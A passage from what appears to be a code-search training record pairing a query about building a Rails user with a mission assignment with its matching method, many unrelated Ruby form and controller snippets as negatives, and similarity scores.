['remain', 'Save', 'Add'],\n ['cancel', 'Cancel', 'Cancel'],\n ]\n end\n end", "def crud_form(object, *attrs, &block)\n options = attrs.extract_options!\n cancel_url = get_cancel_url(object, options)\n \n standard_form(object, options) do |form|\n content = if block_given?\n capture(form, &block)\n else\n form.labeled_input_fields(*attrs)\n end\n\n content << form.standard_actions(cancel_url)\n content.html_safe\n end\n end", "def new\n @produto = Produto.new\n #@departamentos = Departamento.all\n\n renderiza :new\n end", "def show\n @forms = Forms.all()\n end", "def show\n if params.has_key?(:unique_id)\n @editing = true;\n @form = Field.where(unique_id: params[:unique_id]).to_a\n @form_fields = Hash.new\n @form.each do |value|\n @form_fields[value.field_name] = value.field_value\n end\n @form_fields['unique_id'] = params[:unique_id]\n @form_fields['label'] = @form[0]['label']\n else\n @editing = false;\n @form_fields = Hash.new\n @form_fields['unique_id'] = SecureRandom.uuid\n params['formname'] = '1099s' if params['formname'].blank?\n end \n #get labels \n @labels = Field.where(user_id: current_user.id).where.not(label: nil,label: \"\" ).pluck(:label).uniq\n @colors = Field.where(user_id: current_user.id).where.not(label: nil,label: \"\" ).pluck(:label,:labelcolor).uniq\n @labels.push(\"other\")\n @colors_array = Hash.new\n @colors.each do |color|\n @colors_array[color[0]] = color[1]\n end\n #first calculate how many forms the user already paid \n @num_already_paid = Payment.where(user_id: current_user.id).count\n #render text: @num_already_paid and return\n\n \n case (@form_fields['form_id'])\n when \"1042-s\"\n @stripe_amount=\"200\"\n @stripe_amount=\"250\" if (@num_already_paid<751)\n @stripe_amount=\"300\" if (@num_already_paid<251)\n @stripe_amount=\"350\" if (@num_already_paid<151)\n @stripe_amount=\"400\" if (@num_already_paid<101)\n @stripe_amount=\"450\" if (@num_already_paid<51)\n @stripe_amount=\"495\" if (@num_already_paid<26)\n when \"1097\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"1098\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"1099a\" , \"1099b\" , \"1099c\" , \"1099cap\" , \"1099misc\" , \"1099g\" , \"1099h\" , \"1099int\" , \"1099k\" , \"1099ltc\" , \"1099misc\" , \"1099oid\" , \"1099patr\" , \"1099q\" , \"1099r\" , \"1099s\" , \"1099sa\" \n @stripe_amount=\"100\"\n @stripe_amount=\"125\" if (@num_already_paid<751)\n @stripe_amount=\"150\" if (@num_already_paid<251)\n @stripe_amount=\"175\" if (@num_already_paid<151)\n @stripe_amount=\"200\" if (@num_already_paid<101)\n @stripe_amount=\"250\" if (@num_already_paid<51)\n @stripe_amount=\"295\" if (@num_already_paid<26)\n when \"3921\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"3922\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"5498\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"8027\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26)\n when \"8955SSA\"\n @stripe_amount=\"100\"\n @stripe_amount=\"150\" if (@num_already_paid<751)\n @stripe_amount=\"200\" if (@num_already_paid<251)\n @stripe_amount=\"250\" if (@num_already_paid<151)\n @stripe_amount=\"300\" if (@num_already_paid<101)\n @stripe_amount=\"350\" if (@num_already_paid<51)\n @stripe_amount=\"395\" if (@num_already_paid<26) \n else\n @stripe_amount=\"395\"\n end\n \n end", "def show\r\n @styles = AppStyles.new()\r\n @page_style = @styles.css.html_safe\r\n\r\n contacts = Contact.where(\"user_id=#{session[:user_id]}\").order('first_name ASC')\r\n html_dsl = HtmlDsl.new()\r\n html_dsl.form(\"contact\", {id: 'contact_form', action: 'contact', authenticity_token: form_authenticity_token}) do\r\n\r\n # Contacts table\r\n # This table is interesting in that I put the scrollbar on the left by fussing with the rtl and ltr direction style of the div and table.\r\n html_dsl.div({classes: [@styles.scrollable_div300]}) do\r\n contact_html = create_contact_table(contacts, {class: 'contact-table'})\r\n html_dsl.inject(contact_html)\r\n end\r\n\r\n # Fill remaining space to the right.\r\n html_dsl.div({classes: [@styles.div_fill]}) {}\r\n\r\n # Managing contacts\r\n html_dsl.div({classes: [@styles.inline_div]}) do\r\n create_contact_management(html_dsl)\r\n end\r\n\r\n # Selecting categories\r\n html_dsl.div({classes: [@styles.inline_div]}) do\r\n show_categories(html_dsl)\r\n end\r\n\r\n html_dsl.div({classes: [@styles.clear_both]}) {}\r\n\r\n html_dsl.line_break()\r\n html_dsl.label('CSV to Import (Google Contact export format):')\r\n html_dsl.line_break()\r\n html_dsl.text_area({field_name: 'import_text', rows: '10', columns: '80'})\r\n html_dsl.line_break()\r\n html_dsl.post_button('Import')\r\n end\r\n\r\n @contact_html = get_html(html_dsl.html_gen.xdoc).html_safe\r\n @javascript = create_row_click_javascript('contact', @contact_fields, 2).html_safe # javascript for when user clicks on a row to populate edit boxes.\r\n\r\n nil\r\n end", "def index\n @pit_forms = PitForm.all\n end", "def index\n @forms = Form.page(params[:page]).per(30)\n\n if params[:entry_form_type_chooser]\n render :template => \"forms/chooser.html.erb\"\n return\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end", "def new\n @report_template = ReportTemplate.new(:ticket_template => TicketTemplate.find(:first))\n @ticket_templates = TicketTemplate.find(:all)\n @heading = \"New report template\"\n @report_template.selected_main_fields = [\"name\", \"deadline\", \"status\", \"number\", \"created_at\", \"updated_at\", \"created_by\", \"updated_by\", \"group\"]\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_template }\n end\n end", "def new\n @projects = Project.active\n @user_groups = UserGroup.active(current_user.client_id)\n @companies = Company.active(current_user.client_id)\n @repeat_until = Date.today + 1.month\n @event = Event.new\n @event.event_type = 1\n @event.start_at = params[:date] + \" 09:00\" \n @end_at = @event.start_at.hour + 1.hour\n @event.end_at = @event.start_at + 1.hour\n @event.user_id = current_user\n @event.written_by = current_user\n render :update do |page|\n page.replace_html \"event_form\", :partial =>\n \"new_event_form\", :locals => { :event => @event }\n page[\"#event_form\"].show();\n page[\"#event_content\"].focus();\n end\n end", "def dynamic_form_fields(builder)\n # Allow dynamic fields in our Project to be processed by form_for\n create_virtual_attributes!\n\n @object.fields.each do |field|\n h.haml_concat process_field(builder, field)\n end\n end", "def form_submission\n # save stuff...\n sleep 1\n @user = User.new(first_name: params[:user][:first_name], last_name: params[:user][:last_name])\n render partial: \"form_frame\"\n end", "def new_records(options = {}, &block)\n new_records_for(@association, @form, options) do |fields_for_association|\n render_association_partial(fields_for_association, options)\n end\n end", "def show\n\t\t# Initializing the Inivitation form from profile page\n\tend", "def index\n @form_fields = FormField.all\n end", "def show\n form_collection\n end", "def form_setup\n\t\t@plans = SubscriptionPlan.all.map { |plan| [plan.name_and_amount, plan.id] }\n\tend", "def index\n @thing_with_react_forms = ThingWithReactForm.all\n end", "def new\n @person = Person.new #will create a blank person in memory but it will not have an id nor will it save it in memory\n @term = 'Add Person'\n render partial: 'form' #this will send it to the form page\n end", "def display(form)\n Right(form.model)\n end", "def fill_out_form(hash)\n self.main_title=hash[:main_title]\n self.main_author=hash[:main_author]\n self.co_authors=hash[:co_authors]\n self.publisher=hash[:publisher]\n self.place_of_publication=hash[:place]\n self.volume_title=hash[:volume_title]\n self.volume_information=hash[:volume_info]\n self.year=hash[:year]\n self.number=hash[:number]\n self.series_title=hash[:series]\n self.url=hash[:url]\n end", "def search_form objs_type, searches\n\t\t\n\t\tdates = [\"date\",\"created_at\",\"updated_at\"]\n\t\ttimes = [\"depart_time\",\"arrive_time\",\"return_time\"]\n\t\tselections = [\"trip_id\",\"destination_id\"]\n\t\t\n\t\thtml = \"\"\n\t\t\n\t\thtml << '<table><tr><th></th><th></th><th></th></tr>'.html_safe\n\t\t\n\t\tsearches.each do |search|\n\t\t\n\t\t\thtml << '<form accept-charset=\"UTF-8\" action=\"/'.html_safe + objs_type + '\" method=\"get\">'.html_safe\n\t\t\thtml << '<tr><td>'.html_safe\n\t\t\n\t\t\tif dates.include? search\n\t\t\t\thtml << (label_tag(search + \"1\", \"Search for \" + objs_type + \" with \" + search + \" between \")).html_safe\n\t\t\t\thtml << '</td><td>'.html_safe\n\t\t\t\thtml << (date_select(search, \"1\")).html_safe\n\t\t\t\thtml << (label_tag(search + \"2\", \" and \")).html_safe\n\t\t\t\thtml << (date_select(search, \"2\")).html_safe\n\t\t\telse\n\t\t\t\thtml << (label_tag(search, \"Search for \" + objs_type + \" with \" + search + \": \")).html_safe\n\t\t\t\thtml << '</td><td>'.html_safe\n\t\t\t\thtml << (text_field_tag(search)).html_safe\n\t\t\tend\n\t\t\t\n\t\t\thtml << '</td><td>'.html_safe\n\t\t\thtml << (submit_tag(\"Search\")).html_safe\n\t\t\thtml << '</td>'.html_safe\n\t\t\t\n\t\t\thtml << '</tr>'.html_safe\n\t\t\thtml << '</form>'.html_safe\n\t\tend\n\t\t\n\t\thtml << '</table>'.html_safe\n\t\t\n\t\thtml.html_safe\n\tend", "def populatecontactfields\n #This code is for solving the Edit accounts crash - 14-06-2010\n @account= (params[:account_id].present?? Account.find(params[:account_id]) : Account.new()) \n @contact = Contact.new()\n @contact_stage=@company.contact_stages\n @lead_status=true\n render :partial=>'/common/newcontact',:object=>@contact\n end", "def new\n @object ||= @Klass.new\n @update_span = params[:update]\n @parent_class = params[:parent_class]\n begin\n @parent_id = params[:parent_id]\n foreign_key = @Klass.reflect_on_association(@parent_class.underscore.to_sym).options[:foreign_key] || @parent_class.foreign_key\n @object[foreign_key] = @parent_id\n end unless @parent_class.nil? || @Klass.reflect_on_association(@parent_class.underscore.to_sym).nil?\n\n @object.inline_forms_attribute_list = @inline_forms_attribute_list if @inline_forms_attribute_list\n respond_to do |format|\n format.html { render 'inline_forms/_new', :layout => 'inline_forms' } unless @Klass.not_accessible_through_html?\n format.js { }\n end\n end", "def show\n init_collection\n render 'edit'\n end", "def layouts_forms(*args)\n f = (args.shift)\n obj = (args.shift)\n name_of_partial = (args.shift).to_s\n senders = (args.shift||name_of_partial)\n headers = (args.shift||senders)\n render \"layouts/form/#{name_of_partial}\", f: f, obj: obj, senders: senders, headers: headers, args: args\n end", "def prepare_customer_form\n prepopulate_customer_info\n @membership_order = Membership.find(session[:current_premium_id]) if session[:current_premium_id]\n @referral = ReferralCategory.order(\"id ASC\")\n prepare_price\n end", "def index\n @breakdowns = Breakdown.all\n prepFormVariables\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breakdowns }\n end\n end", "def index\n @joining_forms = JoiningForm.all\n end", "def form_object(obj)\n @form_config.form_object = obj\n end", "def index\n @pessel_forms = PesselForm.all\n end", "def ft_generate_html(tags, *args, &block)\n # todo: pass these tags as a parameter; don't rely on ugly globals\n FreightTrain.tags = tags\n\n options = args.extract_options!\n collection_name = args.last.to_s\n raise ArgumentError, \"Missing collection name\" if collection_name.blank?\n model_name = collection_name.classify\n instance_name = collection_name.singularize\n partial = options[:partial] || instance_name\n\n @inline_editor = \"function(tr){}\"\n\n records = instance_variable_get \"@#{collection_name}\"\n path = options[:path] || polymorphic_path(args)\n\n # put everything inside a form\n raw_or_concat(\n \"<form class=\\\"freight_train\\\" data-model=\\\"#{model_name}\\\" action=\\\"#{path}\\\" method=\\\"get\\\">\" <<\n \"<input name=\\\"#{request_forgery_protection_token}\\\" type=\\\"hidden\\\" value=\\\"#{escape_javascript(form_authenticity_token)}\\\"/>\\n\" <<\n \"<input name=\\\"ft[partial]\\\" type=\\\"hidden\\\" value=\\\"#{partial}\\\"/>\\n\" <<\n \"<input name=\\\"freight_train\\\" type=\\\"hidden\\\" value=\\\"true\\\"/>\\n\" <<\n\n # table\n alt_content_tag(:table, :class => \"list #{options[:class]}\") {\n=begin\n head = block_given? ? capture(ListBuilder.new(instance_name, self, options), &block) : \"\"\n body = (records and !records.empty?) ? render(:partial => partial, :collection => records) : \"\"\n alt_content_tag(:thead, head) <<\n alt_content_tag(:body, body, :id => collection_name)\n=end\n lb = ListBuilder.new(instance_name, self, options)\n header = capture(lb, &block) if block_given?\n footer = lb.footer_html\n html = \"\"\n html << alt_content_tag(:thead) { header.html_safe } unless header.blank?\n html << alt_content_tag(:tbody, :id => collection_name) {\n render(:partial => partial, :collection => records) unless !records or records.empty?\n }\n html << alt_content_tag(:tfoot) { footer.html_safe } unless footer.blank?\n html.html_safe\n } <<\n \"</form>\\n\" <<\n\n \"#{will_paginate(records) if options[:paginate]}\" <<\n make_interactive(path, collection_name, options)\n\n )\n end", "def show\n @order_item = current_order.order_items.new\n @add_texts = AddText.all\n @upload_logos = UploadLogo.all\n end", "def index\n @question_queue_forms = QuestionQueueForm.all\n end", "def cama_form_element_bootstrap_object(form, object, values)\n html = \"\"\n object.each do |ob|\n ob[:label] = ob[:label].to_s.translate\n ob[:description] = ob[:description].to_s.translate\n r = {field: ob, form: form, template: (ob[:field_options][:template].present? ? ob[:field_options][:template] : Plugins::CamaContactForm::CamaContactForm::field_template), custom_class: (ob[:field_options][:field_class] rescue nil), custom_attrs: {id: ob[:cid] }.merge((JSON.parse(ob[:field_options][:field_attributes]) rescue {})) }\n hooks_run(\"contact_form_item_render\", r)\n ob = r[:field]\n ob[:custom_class] = r[:custom_class]\n ob[:custom_attrs] = r[:custom_attrs]\n ob[:custom_attrs][:required] = 'true' if ob[:required].present? && ob[:required].to_bool\n field_options = ob[:field_options]\n for_name = ob[:label].to_s\n f_name = \"fields[#{ob[:cid]}]\"\n cid = ob[:cid].to_sym\n\n temp2 = \"\"\n\n case ob[:field_type].to_s\n when 'paragraph','textarea'\n temp2 = \"<textarea #{ob[:custom_attrs].to_attr_format} name=\\\"#{f_name}\\\" maxlength=\\\"#{field_options[:maxlength] || 500 }\\\" class=\\\"#{ob[:custom_class].presence || 'form-control'} \\\">#{values[cid] || ob[:default_value].to_s.translate}</textarea>\"\n when 'radio'\n temp2= cama_form_select_multiple_bootstrap(ob, ob[:label], ob[:field_type],values)\n when 'checkboxes'\n temp2= cama_form_select_multiple_bootstrap(ob, ob[:label], \"checkbox\",values)\n when 'submit'\n temp2 = \"<button #{ob[:custom_attrs].to_attr_format} type=\\\"#{ob[:field_type]}\\\" name=\\\"#{f_name}\\\" class=\\\"#{ob[:custom_class].presence || 'btn btn-default'}\\\">#{ob[:label]}</button>\"\n when 'button'\n temp2 = \"<button #{ob[:custom_attrs].to_attr_format} type='button' name=\\\"#{f_name}\\\" class=\\\"#{ob[:custom_class].presence || 'btn btn-default'}\\\">#{ob[:label]}</button>\"\n when 'reset_button'\n temp2 = \"<button #{ob[:custom_attrs].to_attr_format} type='reset' name=\\\"#{f_name}\\\" class=\\\"#{ob[:custom_class].presence || 'btn btn-default'}\\\">#{ob[:label]}</button>\"\n when 'text', 'website', 'email'\n class_type = \"\"\n class_type = \"railscf-field-#{ob[:field_type]}\" if ob[:field_type]==\"website\"\n class_type = \"railscf-field-#{ob[:field_type]}\" if ob[:field_type]==\"email\"\n temp2 = \"<input #{ob[:custom_attrs].to_attr_format} type=\\\"#{ob[:field_type]}\\\" value=\\\"#{values[cid] || ob[:default_value].to_s.translate}\\\" name=\\\"#{f_name}\\\" class=\\\"#{ob[:custom_class].presence || 'form-control'} #{class_type}\\\">\"\n when 'captcha'\n if form.recaptcha_enabled?\n temp2 = recaptcha_tags\n else\n temp2 = cama_captcha_tag(5, {}, {class: \"#{ob[:custom_class].presence || 'form-control'} field-captcha required\"}.merge(ob[:custom_attrs]))\n end\n when 'file'\n temp2 = \"<input multiple=\\\"multiple\\\" type=\\\"file\\\" value=\\\"\\\" name=\\\"#{f_name}[]\\\" #{ob[:custom_attrs].to_attr_format} class=\\\"#{ob[:custom_class].presence || 'form-control'}\\\">\"\n when 'dropdown'\n temp2 = cama_form_select_multiple_bootstrap(ob, ob[:label], \"select\",values)\n else\n end\n r[:template] = r[:template].sub('[ci]', temp2)\n r[:template] = r[:template].sub('[descr ci]', field_options[:description].to_s.translate).sub('<p></p>', '')\n html += r[:template].gsub('[label ci]', for_name)\n end\n html\n end", "def inline_mtm_edit_forms(obj)\n assocs = model.inline_mtm_assocs(request)\n return if assocs.empty?\n\n t = String.new\n t << \"<div class='inline_mtm_add_associations'>\"\n assocs.each do |assoc|\n form_attr = form_attributes(:action=>url_for(\"mtm_update/#{model.primary_key_value(obj)}?association=#{assoc}&redir=edit\"), :class => 'mtm_add_associations', 'data-remove' => \"##{assoc}_remove_list\")\n t << Forme.form(obj, form_attr, form_opts(form_attr[:action])) do |f|\n opts = model.column_options_for(:mtm_edit, request, assoc)\n add_opts = opts[:add] ? opts.merge(opts.delete(:add)) : opts.dup\n add_opts = {:name=>'add[]', :id=>\"add_#{assoc}\"}.merge!(add_opts)\n if model.association_autocomplete?(assoc, request)\n f.input(assoc, {:type=>'text', :class=>'autoforme_autocomplete', :attr=>{'data-type'=>'association', 'data-column'=>assoc, 'data-exclude'=>model.primary_key_value(obj)}, :value=>''}.merge!(add_opts))\n else\n f.input(assoc, {:dataset=>model.unassociated_mtm_objects(request, assoc, obj), :multiple=>false, :add_blank=>true}.merge!(add_opts))\n end\n f.button(:value=>'Add', :class=>'btn btn-xs btn-primary')\n end\n end\n t << \"</div>\"\n t << \"<div class='inline_mtm_remove_associations'><ul>\"\n assocs.each do |assoc|\n mc = model.associated_model_class(assoc)\n t << \"<li>\"\n t << association_class_link(mc, assoc)\n t << \"<ul id='#{assoc}_remove_list'>\"\n obj.send(assoc).each do |assoc_obj|\n t << mtm_edit_remove(assoc, mc, obj, assoc_obj)\n end\n t << \"</ul></li>\"\n end\n t << \"</ul></div>\"\n end", "def pre_serialize\n fetch_and_serialize_profile\n update_status_and_errors\n scaffold\n end", "def form_json\n render template: 'utils/form_json'\n end", "def populatecontactfields\n @contact = Contact.new\n @contact_stage = get_contact_stages(@company.contact_stages.array_to_hash('lvalue'),['Client'])\n @lead_status = false\n render :partial=>'common/newcontact', :object=>@contact\n end", "def admin_form_for(object_name, object, options={}, &proc)\n opts = { :builder => DeclarativeFormBuilder,\n :inner_builder => AutoAdmin::AutoAdminConfiguration.form_builder,\n :table_builder => AutoAdmin::AutoAdminConfiguration.table_builder,\n :indent => 0, :html => { :multipart => true },\n }.update(options)\n form_for(object_name, object, opts, &proc)\n end", "def create\n @layout_template = LayoutTemplate.new(params[:layout_template])\n\n render :update do |page|\n if @layout_template.save\n page.insert_html :bottom, \"layout_templates\", :partial => \"layout_templates/row_form\",\n :locals =>{ :layout_template => @layout_template, :counter => (LayoutTemplate.count + 1) }\n# page.replace \"\"\n end\n end\n end", "def new\n\t\t# no code needed here; all handled in the view\n\tend", "def new\n @employee = Employee.new\n @employee_contact = EmployeeContact.new\n @employee_ec_contact = EmployeeEcContact.new\n @employee_job = EmployeeJob.new\n @employee_salary = EmployeeSalary.new\n @employee_qualification = EmployeeQualification.new\n @employee_membership = EmployeeMembership.new\n @employee_spouse = EmployeeSpouse.new\n @form_id = 'add-form'\n @users = User.order(:username).all\n @supervisors = Employee.all\n @designations = Designation.order(:title).all\n @employment_statuses = EmploymentStatus.order(:name).all\n @job_categories = JobCategory.order(:name).all\n @departments = Department.order(:name).all\n \n respond_to do |fmt|\n fmt.html { render :partial => 'form' }\n fmt.json { render :json => @employee }\n end\n end", "def index\n # MemoryForm作成\n # 3つのテキストボックス作成のために配列を用意しておく\n @memory_textboxes = (1..3).map do\n Memory.new\n end\n # Suggest用インデックス\n @memories_index = Memory.my_memory_index(current_user.id)\n\n @memories = Memory.paginate :page => params[:p], :per_page =>20,\n :conditions => [\"user_id = ?\", current_user.id],\n :order => \"created_at DESC\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @memories }\n end\n end", "def object_listing(o)\n render :partial => '/shared/object_listing', :locals => {:o => o}\n end", "def show\n update_and_decorate\n smartrender\n end", "def show\n @order_item = current_order.order_items.new\n @add_texts = AddText.all\n @upload_logos = UploadLogo.all\n end", "def rendered; end", "def new\n # CREATES NEW PAGE ONLY IN MEMORY NO IN DATABASE\n @page = Page.new\n # renders the form\n end", "def index\n @custom_forms = CustomForm.all\n end", "def index\n @pec_forms = PecForm.sorted\n\n\t\tgon.highlight_first_form_field = false\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pec_forms }\n end\n end", "def form_setup\n\t\t@employees = Person.active.map { |person| [person.full_name, person.id] }\n\tend", "def form\n @professionals = Professional.all\n\n respond_to do |format|\n format.html # form.html.erb\n format.xml { render :xml => @professionals }\n end\n end", "def index\n @plataforms = Plataform.all\n end", "def load_edit_vf_page\n @all_groups = Group.all\n @all_properties = Property.all\n @all_categories = Category.all\n @all_components = Component.all\n @all_products = Product.all\n @all_images = Image.all\n @all_datafiles = DataFile.all\n\n @valuefield = Valuefield.find(params[:valuefield_id])\n if(!@valuefield.property_id.nil?)\n @property = Property.find(@valuefield.property_id)\n end\n\n\n respond_to do |format|\n format.js\n end\n end" ]
[ "0.63980484", "0.62180907", "0.6200056", "0.61610985", "0.61573195", "0.6121554", "0.6108118", "0.61065423", "0.6020349", "0.601631", "0.5942688", "0.5923766", "0.5922497", "0.591604", "0.5901583", "0.5896768", "0.5837195", "0.58136594", "0.5799107", "0.5791167", "0.57859015", "0.57578635", "0.57376516", "0.5721578", "0.57076347", "0.57004505", "0.56607026", "0.56326914", "0.56312835", "0.5628082", "0.56271905", "0.56138366", "0.56030154", "0.5602731", "0.5583709", "0.55569714", "0.5548928", "0.5548928", "0.55389816", "0.55385417", "0.55384755", "0.55190307", "0.54948944", "0.5470241", "0.5456728", "0.5455863", "0.5454284", "0.54536456", "0.5430896", "0.5423224", "0.541626", "0.5406805", "0.540597", "0.5395144", "0.5394119", "0.5386487", "0.53864676", "0.53847504", "0.5383352", "0.53646", "0.5357112", "0.53539616", "0.5334988", "0.53267765", "0.5326053", "0.53184074", "0.5314768", "0.5313322", "0.53115994", "0.53106207", "0.53075176", "0.5304121", "0.5294856", "0.5288428", "0.52814764", "0.52755374", "0.5274881", "0.527287", "0.5270951", "0.5269345", "0.52687687", "0.5265876", "0.526387", "0.5260197", "0.5254666", "0.52486396", "0.5245995", "0.52439135", "0.52418786", "0.52369064", "0.5236542", "0.52306175", "0.52300817", "0.5228968", "0.5223774", "0.5211261", "0.52101046", "0.52093273", "0.52058357", "0.5203005" ]
0.62594646
1
builds a user with an appropriate mission assignment if the current_user doesn't have permission to edit a blank user
def build_user_with_proper_mission @user = User.new(params[:user]) if cannot?(:create, @user) && @user.assignments.empty? @user.assignments.build(:mission => current_mission, :active => true) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def correct_user_to_edit\n not_allow if (@job.user.id != current_user.id) \n end", "def this_user!\n this_user || User.new(permission: :unapproved)\n end", "def user(*args)\n super(*args) || build_user\n end", "def give_access_to_creator\n user = User.current_user\n unless user.blank?\n user_assignment = user.assigned_apps.where(app_id: self.id) rescue nil\n if user_assignment.blank?\n user.assigned_apps.create!(app_id: self.id)\n PermissionMap.instance.clean(user)\n end\n end\n end", "def update\n\n available_users\n \n #assign users to mission\n if params[:user_ids].present?\n user = params[:user_ids].delete_if{ |x| x.empty? }\n @mission.users = []\n @mission.users << User.find(params[:user_ids]) \n end\n respond_to do |format|\n if @mission.update(mission_params)\n format.html { redirect_to [:admin, @mission], notice: 'Mission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_current_user_to_creator_if_empty(options, current_user:, **)\n if options['contract.default'].creator_id\n true\n else\n options['contract.default'].creator_id = current_user.id\n end\n end", "def prepare_and_render_form\n # create a blank mission assignment with the appropriate user_id for the boilerplate, but don't add it to the collection\n @blank_assignment = Assignment.new(:active => true, :user_id => current_user.id)\n\n # get assignable missons and roles for this user\n @assignable_missions = Mission.accessible_by(current_ability, :assign_to)\n @assignable_roles = Ability.assignable_roles(current_user)\n\n render(:form)\n end", "def edit\n @user.build_user_profile unless @user.user_profile\n end", "def create\n \n @mission = Mission.new(mission_params)\n \n #assign users to mission\n if params[:user_ids].present?\n user = params[:user_ids].delete_if{ |x| x.empty? }\n @mission.users << User.find(params[:user_ids]) \n end\n \n \n respond_to do |format|\n if @mission.save\n format.html { redirect_to [:admin, @mission], notice: 'Mission was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mission }\n else\n format.html { render action: 'new' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n\t\t@user = User.new\n\t\t@organizations = Organization.order(label: :asc) if is_admin?\n\tend", "def build_from_current_user!(user)\n self.nombres = user.name\n self.email = user.info[\"email\"]\n end", "def assign_user\n if !Window.find(params[:id]).filled_up && Window.find(params[:id]).get_slot.update_attributes(user_id: current_user.id)\n redirect_to events_url, notice: 'You got yourself a slot.'\n else\n redirect_to events_url, notice: 'You done fucked up.'\n end\n end", "def admin_create_work_user_ivars(allow_nil_user=true)\n if @curr_user.admin?\n work_user_id = (params[:work_user] || session[:work_user_id] || 0).to_i\n @work_user = if work_user_id > 0\n User.find(work_user_id)\n elsif allow_nil_user\n nil\n else\n User.find(:first, :order => 'name asc')\n end\n session[:work_user_id] = @work_user ? @work_user.id : nil\n else\n @work_user = session[:work_user_id] = nil\n end\n end", "def create\n new # set @user\n if @user.undergrad?\n @user.handle_courses(params[:course][:name])\n @user.handle_proglangs(params[:proglang][:name])\n @user.handle_categories(params[:category][:name])\n end\n @user.assign_attributes(user_params)\n if @user.save && @user.errors.empty?\n flash[:notice] = 'Your profile was successfully updated.'\n if @user.undergrad?\n redirect_to jobs_path\n else\n redirect_to new_job_path\n end\n else\n render 'new'\n end\n end", "def blank_user_for_create_action_form\n @blank_user ||= User.new(\n provider_credentials: [GitHubProviderCredential.new]\n )\n end", "def updatable_by?(user)\n user.admin_for?(resource.course)\n end", "def user\n if user_id\n super\n else\n billable_to.owner # always a User\n end\n end", "def update\n load_user\n build_user\n assign_roles\n save_user or render :edit\n end", "def edit\n if !(current_user.id == @user.id || is_admin?)\n indicate_illegal_request I18n.t('users.not-your-account')\n end\n end", "def add_initial_user\n initial_user = Member.where(:email => \"administrator@administrator.com\").first\n \n unless initial_user\n # Create an initial position.\n position = Position.new\n position.name = \"Administrator\"\n position.pos_type = \"Administrator\"\n position.save\n \n # Create an initial division.\n division = Division.new\n division.name = \"Administrator\"\n division.save\n \n # Find initial position and division created.\n # Id´s will be used to crete initial user.\n position = Position.where(:name => \"Administrator\").first\n division = Division.where(:name => \"Administrator\").first\n \n # Create an initial user with position and divison created above.\n member = Member.new\n member.name = \"Administrator\"\n member.email = \"administrator@administrator.com\"\n member.password = \"administrator\"\n member.major = \"NONE\"\n member.grad_year = 9999\n member.member_since = 9999\n member.hometown = \"NONE\"\n member.position_id = position.id\n member.division_id = division.id\n member.save\n end\n end", "def set_editability\n @editable = user_signed_in? && (current_user.member.role.name.eql? \"University Admin\") &&\n current_user.member.institution.id == @course.department.institution.id\n end", "def edit\n @user.build_profile if @user.profile.blank?\n end", "def create_user_for_course\n if !current_user.nil? && current_user.is_professor?\n\n @course = Course.find(params[:id])\n if params[:course].nil?\n flash.now[:error] = 'No Student selected'\n redirect_to course_path(@course)\n else\n\n @user = User.find(params[:course]['last_user_id'])\n if @course.users.append(@user)\n redirect_to course_path(@course)\n else\n render 'new'\n end\n end\n else\n redirect_to root_url\n end\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def require_permission_edit_or_update\n @project = Project.find(params[:project_id])\n @board = Board.find(params[:id])\n if @board.can_edit_users.where(:id => current_user.id).blank? && current_user.is_admin == false\n redirect_to project_path(@project), flash: { error: \"You do not have permission to do that.\" }\n end\n end", "def pundit_user\n # if action_name 